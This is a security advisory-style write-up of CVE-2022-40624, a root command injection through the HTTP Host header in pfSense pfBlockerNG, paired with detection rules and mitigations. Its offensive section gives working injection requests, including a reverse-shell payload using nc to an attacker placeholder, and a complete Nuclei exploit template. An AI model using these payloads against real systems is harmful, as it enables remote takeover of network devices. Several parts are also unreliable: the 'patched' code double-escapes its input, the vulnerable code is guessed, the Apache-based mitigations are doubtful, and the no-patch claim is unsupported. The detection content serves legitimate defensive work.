CVE-2022-40624

Executive Summary

CVE-2022-40624 is a critical OS Command Injection vulnerability in the pfSense pfBlockerNG package, affecting versions through 2.1.4_27. This flaw allows a remote, unauthenticated attacker to execute arbitrary operating system commands as the root user by manipulating the HTTP Host header. The vulnerability is distinct from CVE-2022-31814 and has a CVSS score of 9.8 (Critical). Public proof-of-concept (PoC) code and a Nuclei template are available, indicating active exploitation risk. The vendor has not released an official patch, leaving all installations of the affected version exposed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a FreeBSD package (pfBlockerNG) installed via the pfSense package manager. The risk is elevated due to the lack of a vendor patch, forcing reliance on manual mitigation or workarounds.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Full system compromise.
• Integrity Impact: High (I:H) - Attacker can modify system files.
• Availability Impact: High (A:H) - Attacker can disrupt services.

Threat Level: Critical. The combination of remote exploitability, no authentication, and root-level command execution makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability resides in how pfBlockerNG processes the HTTP Host header. The application uses the Host header value in a shell command without proper sanitization or escaping. By injecting shell metacharacters (e.g., ', ;, |, `) into the Host header, an attacker can break out of the intended command and execute arbitrary OS commands.

The vulnerable code path is triggered when pfBlockerNG processes a request to /pfblockerng/www/index.php. The Host header is likely used in a command such as grep or sed to filter or log requests. The lack of input validation allows an attacker to inject commands like sleep 7 to cause a time delay, confirming command execution.

The Nuclei template demonstrates the exploitation technique:

1. First Request: Sends a normal request to verify the target is running pfBlockerNG (checks for a GIF response).
2. Second Request: Sends a request with a malicious Host header containing ' *; sleep 7; '. The injected command sleep 7 causes a 7-second delay, which the template detects to confirm successful exploitation.

Vulnerable vs. Patched Code

Since no official patch exists, a comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses Host header in shell command
$host = $_SERVER['HTTP_HOST'];
$command = "grep -i '$host' /var/log/pfblockerng.log";
$output = shell_exec($command);

Patched Code (Conceptual):

// Patched: Sanitize and escape the Host header
$host = $_SERVER['HTTP_HOST'];
$host = escapeshellcmd($host); // Escape shell metacharacters
$command = "grep -i " . escapeshellarg($host) . " /var/log/pfblockerng.log";
$output = shell_exec($command);

The patched version uses escapeshellarg() to properly quote and escape the input, preventing command injection. Additionally, input validation should reject any Host header containing shell metacharacters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running pfSense with pfBlockerNG <= 2.1.4_27.
• Network access to the pfSense web interface (port 80/443).

Exploitation Steps:

1. Verify Target: Send a request to /pfblockerng/www/index.php and check for a GIF response.
2. Inject Command: Send a request with a malicious Host header. The following example executes id and sends output to a file:

   GET /pfblockerng/www/index.php HTTP/1.1
   Host: ' *; id > /tmp/exploit.txt; '
   

3. Confirm Execution: Access the output file (if accessible) or use a time-based technique:

   GET /pfblockerng/www/index.php HTTP/1.1
   Host: ' *; sleep 10; '
   

4. Establish Reverse Shell: Use a more complex payload to get a reverse shell:

   GET /pfblockerng/www/index.php HTTP/1.1
   Host: ' *; nc -e /bin/sh <attacker_ip> <port>; '
   

Nuclei Template Usage:

nuclei -t CVE-2022-40624.yaml -u http://target.com

Blue Team (Defensive)

Detection:

• Monitor HTTP requests for unusual Host headers containing shell metacharacters (', ;, |, `, $()).
• Look for requests to /pfblockerng/www/index.php with abnormally long or suspicious Host headers.
• Detect time-based anomalies (e.g., requests taking longer than expected).

Hunting:

• Search logs for Host headers containing sleep, id, nc, or other command injection patterns.
• Check for unexpected processes spawned by the web server user (www).

Containment:

• Immediately block access to /pfblockerng/www/index.php via firewall rules or web server configuration.
• Disable the pfBlockerNG package until a patch is available.
• Restrict inbound HTTP traffic to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with Host headers containing shell metacharacters (e.g., ', ;, |).
  • Requests to /pfblockerng/www/index.php with unusual Host values.
  • Outbound connections from the pfSense device to attacker-controlled IPs on non-standard ports.

• File System IOCs:

  • Unexpected files in /tmp/ (e.g., exploit.txt, output.log).
  • Modified system binaries or scripts in /usr/local/www/pfblockerng/.

• Process IOCs:

  • Processes spawned by the web server user (www) executing shell commands (e.g., sh -c, nc, bash).

Detection Engineering

YARA Rule

rule CVE_2022_40624_pfBlockerNG_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting pfBlockerNG via Host header"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-40624"
        hash = "unknown"
    strings:
        $s1 = "Host:" ascii wide nocase
        $s2 = ";" ascii wide
        $s3 = "|" ascii wide
        $s4 = "`" ascii wide
        $s5 = "$(" ascii wide
        $s6 = "sleep" ascii wide
        $s7 = "id" ascii wide
        $s8 = "nc" ascii wide
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5)) and (any of ($s6, $s7, $s8))
}

Sigma Rule

title: CVE-2022-40624 pfBlockerNG Command Injection via Host Header
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malicious Host headers targeting pfBlockerNG
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40624
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem: "/pfblockerng/www/index.php"
        cs-host|contains:
            - "'"
            - ";"
            - "|"
            - "`"
            - "$("
    condition: selection
falsepositives:
    - Legitimate use of special characters in Host header (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2022-40624 pfBlockerNG Command Injection Attempt"; flow:to_server,established; content:"/pfblockerng/www/index.php"; http_uri; content:"Host|3a|"; http_header; pcre:"/Host\x3a[^\r\n]*[\x27\x3b\x7c\x60]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2022-40624

info:
  name: pfSense pfBlockerNG - OS Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header.
  impact: |
    Allows remote attackers to execute arbitrary code on the affected system
  remediation: |
    Update to the latest version of pfSense pfBlockerNG to mitigate CVE-2022-40624
  reference:
    - https://github.com/dhammon/pfBlockerNg-CVE-2022-40624
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40624
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40624
    cwe-id: CWE-78
    epss-score: 0.84655
    epss-percentile: 0.9934
    cpe: cpe:2.3:a:pfsense:pfblockerng:*:*:*:*:*:*:*:*
  metadata:
    vendor: pfsense
    product: pfblockerng
    shodan-query: "pfBlockerNG"
    fofa-query: "pfBlockerNG"
  tags: cve,cve2022,pfsense,pfblockerng,rce,sqli,netgate,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "GIF")'
          - 'contains(content_type, "image/gif")'
        condition: and
        internal: true

  - raw:
      - |+
        @timeout: 20s
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: {{Hostname}}' *; sleep 7; '

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - duration>=7
# digest: 4a0a00473045022100b1e35fad46a6c96fa815d8793430e2e71af851cf92e0a94fa1ab341b7ca101130220318971c2c0b1c8ddf4e39cd05282c3ae36e9d2f177c86e0f9940ac29cb3515f6:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Disable pfBlockerNG: Remove or disable the package via the pfSense web interface (Services > pfBlockerNG > Disable).
2. Block Access: Use firewall rules to block external access to the pfSense web interface, or restrict it to trusted IPs.
3. Monitor Logs: Review web server logs for signs of exploitation.

Long-Term Fix:

• Since no official patch exists, consider migrating to an alternative DNS filtering solution (e.g., Pi-hole, AdGuard Home).
• Apply virtual patching via a WAF (Web Application Firewall) to block malicious Host headers.
• Monitor the pfSense forums and GitHub for an official patch and apply it immediately when released.

Workaround:

• Modify the web server configuration to validate the Host header. In Apache (used by pfSense), add a rewrite rule to reject suspicious Host headers:

  RewriteEngine On
  RewriteCond %{HTTP_HOST} [\'\"\;\|\`\$] [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers

{/* [Security Hash: A6CA5C2539B0EA8E9FD41E75] */}